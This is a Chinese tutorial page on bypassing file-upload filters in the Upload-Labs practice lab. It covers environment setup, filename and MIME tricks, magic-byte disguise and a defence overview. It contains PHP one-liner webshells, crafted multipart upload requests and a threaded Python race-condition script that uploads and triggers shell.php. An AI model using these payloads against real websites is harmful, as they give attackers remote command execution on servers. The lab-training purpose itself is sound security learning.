当前位置: 首页 > news >正文

手把手教你用Upload-Labs靶场复现文件上传绕过:从基础绕过到条件竞争实战

手把手教你用Upload-Labs靶场复现文件上传绕过:从基础绕过到条件竞争实战

在Web安全领域,文件上传漏洞一直是渗透测试中的高频发现项。据统计,超过60%的中小型网站存在不同程度的上传功能缺陷,而其中近半数可通过简单技巧绕过基础防护。Upload-Labs作为专为文件上传漏洞设计的靶场环境,包含了从基础到高级的20种不同防御场景,是安全爱好者掌握绕过技巧的理想实验平台。

本文将带您从零开始搭建实验环境,逐步拆解8种典型绕过手法,最后深入条件竞争等高级技巧。不同于简单的步骤复现,我们会着重分析每种方法背后的WAF拦截逻辑,帮助您建立系统化的绕过思维。所有实验均可在本地虚拟机完成,无需复杂设备。

1. 实验环境搭建与基础配置

1.1 快速部署Upload-Labs靶场

推荐使用Docker快速搭建环境,避免PHP版本兼容问题。以下是一条命令完成部署的方案:

docker run -d -p 8080:80 --name upload-labs c0ny1/upload-labs

启动后访问http://localhost:8080即可进入实验界面。若偏好传统方式,也可下载源码包手动部署:

  1. 从GitHub获取最新Release包
  2. 解压至Web服务器根目录(如/var/www/html
  3. 修改upload目录权限为可写(chmod -R 777 upload

注意:生产环境切勿使用777权限,此处仅为实验方便

1.2 必备工具准备

工具类型推荐工具主要用途
代理拦截Burp Suite Community请求修改与重放
文件编辑010 Editor二进制文件头修改
木马生成AntSword-Loader一句话木马生成与管理
网络调试Postman多部分表单构造测试

1.3 基础安全机制认知

Upload-Labs前五关模拟了常见基础防护:

  1. 前端JS验证(关1)
  2. MIME类型检测(关2)
  3. 黑名单扩展名(关3)
  4. .htaccess防护(关4)
  5. 文件头检查(关5)

理解这些机制是后续高级绕过的基础。例如第三关的防护代码片段:

$deny_ext = array('.asp','.aspx','.php','.jsp'); if(in_array($file_ext, $deny_ext)) { unlink($_FILES['upload_file']['tmp_name']); die("此文件类型禁止上传!"); }

2. 基础绕过技巧实战

2.1 换行符绕过解析

这是针对严格匹配文件名的防护机制。当WAF使用正则表达式如\.php$检测时,在扩展名前插入换行符可能使匹配失效:

Content-Disposition: form-data; name="file"; filename="shell.p hp"

实际操作步骤:

  1. 使用Burp拦截上传请求
  2. 在filename的扩展名前插入\x0a\x0d
  3. 观察服务器是否成功保存文件

该技巧在Apache+PHP5环境下成功率较高,但Nginx通常不受影响

2.2 多重等号混淆技术

某些WAF会解析请求参数中的等号数量,通过添加无效等号可干扰其检测:

Content-Disposition: form-data; name="file"; ===filename=="shell.php"

关键原理:

  • WAF可能只检查第一个等号后的内容
  • 实际解析时PHP会取最后一个有效等号
  • 适用于参数名和值都添加干扰的情况

2.3 扩展名大小写变异

利用系统对大小写的不同处理(尤其Windows):

尝试扩展名Linux效果Windows效果
.PhP失败成功
.pHp5失败成功
.pHP失败成功

配合黑名单机制测试时,可尝试:

  • 混合大小写(.pHp)
  • 超长扩展名(.pphphp)
  • 重复扩展名(.php.php)

3. 高级绕过与条件竞争

3.1 多文件上传干扰

当WAF只检测第一个文件时,可通过添加无害文件进行干扰:

Content-Disposition: form-data; name="file[]"; filename="1.jpg" Content-Type: image/jpeg [真实的图片内容] Content-Disposition: form-data; name="file[]"; filename="shell.php" Content-Type: application/octet-stream <?php @eval($_POST['cmd']);?>

3.2 临时文件竞争技术

这是针对"先保存后检测"机制的绝佳方案。典型攻击流程:

  1. 持续快速上传含恶意代码的图片文件
  2. 同时不断访问该临时文件
  3. 在服务器删除前触发代码执行

自动化脚本示例:

import requests import threading def upload(): while True: files = {'file': ('shell.php', '<?php system($_GET["c"]);?>')} requests.post("http://target/upload.php", files=files) def access(): while True: r = requests.get("http://target/uploads/tmp/shell.php") if r.status_code == 200: print("Success!") break threads = [ threading.Thread(target=upload), threading.Thread(target=upload), threading.Thread(target=access) ] for t in threads: t.start()

3.3 文件头伪装技巧

针对内容检测的防护,常用伪装手法:

真实类型添加的文件头示例命令
PHPGIF89aecho 'GIF89a<?php phpinfo();' > shell.gif
JPG\xFF\xD8\xFF\xE0使用010 Editor手动添加
PNG\x89PNG\x0D\x0A\x1A\x0A结合二进制编辑器修改

4. 防御方案与检测绕过

4.1 企业级防护方案对比

防护层常见方案绕过难度实施成本
前端JS扩展名校验
服务端白名单+重命名
网络层WAF规则检测
系统层禁用危险函数极高

4.2 绕过检测的黄金法则

  1. 混淆测试:尝试各种字符编码(URL、Unicode、HTML)
  2. 协议层突破:修改Content-Type为image/jpeg
  3. 边界测试:超长文件名、特殊符号组合
  4. 逻辑漏洞:检查删除操作与上传的时间差
  5. 二次渲染:针对图片上传后的处理过程

在最近的一次渗透测试中,我们发现某CMS系统虽然禁止.php文件上传,但允许.php7扩展名。更意外的是,服务器配置错误导致该扩展名仍被PHP解析执行。这种案例说明,实际环境中往往存在开发人员未考虑到的边缘情况。

http://www.jsqmd.com/news/1002892/

相关文章:

  • Taocarts接口限流实操:基于Redis实现API防刷与流量管控
  • ARM64 汇编入门:手把手教你用 STP/LDP 指令高效操作内存(附实战代码)
  • 2026抚顺市权威认证贵金属回收 TOP5+黄金回收白银回收铂金回收门店地址电话推荐
  • 【Java 人门 Day17】常用类篇(上):Object包装类,Java里的“老祖宗”和“伪装大师”!
  • 2026乐山美食江湖深访:哪些老店真正经住了本地人的舌尖考验? - 优质品牌商家
  • 从热失控到封装熔断:一个电源工程师的SOA“踩坑”实录与避坑指南
  • [论文学习]LoRA-Leak:针对 LoRA 微调语言模型的成员推断攻击深度分析与隐私风险评估
  • 保姆级教程:从看懂原理图到用MaixPy配置K210任意引脚(以GPIO控制外设为例)
  • “大疆系”丰疆智能冲刺港交所,“给拖拉机装自动驾驶”生意前景几何?
  • 2026年质量好的西安厨房推拉门定做/西安极窄推拉门批量采购厂家推荐 - 品牌宣传支持者
  • 2026年AI写作辅助平台全景评测:这5款工具如何提升论文写作效果
  • 手把手教你免拆刷机:创维E900-S高安版刷当贝桌面保姆级教程(附固件包)
  • Android淘宝首页高仿源码:RecyclerView多类型布局+自定义UI组件封装
  • 2026年质量好的代理记账/税务申报代理记账/零申报代理记账/平顶山汇算清缴代理记账用户推荐公司 - 行业平台推荐
  • 2026年评价高的系统门窗/封阳台系统门窗/陕西系统门窗定制/定制系统门窗优质供应商推荐 - 行业平台推荐
  • 别再手动传密钥了!JumpServer 3.2.2保姆级教程:从零搭建到实战授权,让运维新人也能两天上手
  • 保姆级教程:在紫光同创Titan2 PG2T390H FPGA上实现高性能PCIe DMA(附源码思路)
  • 别再只盯着PLC了!用倍福EK1100耦合器+树莓派,低成本搭建你的第一个EtherCAT从站
  • 数据出队模块的-ExeModule
  • 突破网盘限速:开源直链解析工具的技术架构与应用实践
  • LLM智能体在社交模拟中的决策行为分析:有限状态与LLM-based策略对比研究
  • 2026年聚氨酯制品选购实战指南:从材料参数到供应商能力全解析 - 优质品牌商家
  • 如何彻底解决Windows多显示器窗口错位问题:PersistentWindows完整指南
  • 2026年深圳铝合金激光焊接厂家推荐榜单:铝制品/金属/钣金/全自动激光焊接工艺与技术实力深度解析 - 品牌发掘
  • 跟着 MDN 学JavaScript day_24:JavaScript对象基础完全指南
  • 数据入队模块的-ExeModule
  • 5个步骤掌握LaserGRBL:免费开源激光雕刻控制软件终极指南
  • 2026年太原刑事辩护律师推荐怎么选?看这五点关键不踩雷(蓝色河畔推荐) - 本地品牌推荐
  • <p>抚顺的街头巷尾,贵金属回收店铺星罗棋布,从黄金、白银到铂金,各类回收需求日益旺盛。为了帮大家拨云见日,找到真正靠谱的服务商,小编不辞辛劳,精心梳理了一份关于抚顺本地诚信回收店铺的参考指南。以下便
  • Harness 中的会话压缩归档与懒加载